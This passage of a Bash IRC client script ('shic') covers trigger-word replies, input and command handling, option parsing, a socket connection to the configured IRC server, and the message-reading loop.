            [GoGoGadget-hi]*) _send "PRIVMSG #general :Hello ";;
            [GoGoGadget-opendoor]*) _send "PRIVMSG #general :Hello ";;
            [GoGoGadget-none]*) echo "$0 arrete suite a la mauvaise volonte de l'utilisateur ;-)"
                exit 0;;
            *) echo "ERREUR de saisie"
                exit 1;;
        esac
        #echo $CurrentMatch >> $HOME/returned.txt
    fi 
}

# Handle user input
function _input() {
    local line="$@"
    if [[ "${line:0:1}" != ":" ]]; then
        [[ -z $channel ]] && _output "ERROR: No channel to send to" && return

        _send "PRIVMSG $channel :$line"
        _output "-> $channel> $line"
        return
    fi

    if [[ ${#line} == 2 || ${line:2:1} == " " ]]; then
        _txt="${line:3}"
        case ${line:1:1} in
            m ) read -r _to _msg <<< "$_txt" && _send "PRIVMSG $_to :$_msg" && _output "-> $_to> $_msg"; return;;
            l ) read -r _from _msg <<< "$_txt" && _send "PART $_from :$_msg"; return;;
            j ) _send "JOIN $_txt"; [[ -z $channel ]] && channel=$_txt; return;;
            s ) channel="$_txt";  return;;
            q ) _send "QUIT"; exit 0;;
        esac
    fi

    # Not recognized command, send to server
    _send "${line:1}"
}

# Parse command line
while getopts "h:p:n:k:c:v" flag; do
    case $flag in
        v) printf "shic v. 0.1, by halhen. Released to the public domain.\nSee http://github.com/halhen/shic for help.\n"; exit;;
        h) SHIC_HOST="$OPTARG";;
        p) SHIC_PORT="$OPTARG";;
        n) SHIC_NICK="$OPTARG";;
        k) SHIC_PASS="$OPTARG";;
        c) source "$OPTARG";;
        ?) printf "Unknown option. Usage: $0 [-h hostname] [-p port] [-n nick] [-k password] [-c configfile] [-v]\n" >&2; exit 1;;
    esac
done

# Open connection to server
exec 3<>/dev/tcp/$SHIC_HOST/$SHIC_PORT || exit 1

# Handle messages from server
# This runs as a separate process, which means that no variables are shared with
# the input process. For better or for worse. Mostly for worse.

{
    while read _line; do
        [[ ${_line:0:1} == ":" ]] && _source="${_line%% *}" && _line="${_line#* }"
        _source="${_source:1}"
        _user=${_source%%\!*}
        _txt="${_line#*:}"

        case "${_line%% *}" in
            "PING")
                _send "PONG" ;;
            "PRIVMSG")
                _ch="${_line%% :*}"
                _ch="${_ch#* }"
                _output "<$_user@$_ch> $_txt" ;;
               
            *)
                _output "$_source >< $_line" ;;
        esac
    done
} <&3 &

# Introduce myself
[[ $SHIC_PASS ]] && _send "PASS $SHIC_PASS"
_send "NICK $SHIC_NICK"
_send "USER $SHIC_NICK localhost $SHIC_HOST :$SHIC_NICK"

function _trim() { echo $1; }

# Execute login script
IFS=";" read -ra C <<< "$SHIC_SCRIPT"
for _cmd in "${C[@]}"; do
    _input $(_trim "$_cmd")
done

# Handle input
while read -e line; do
    _input "$line"
done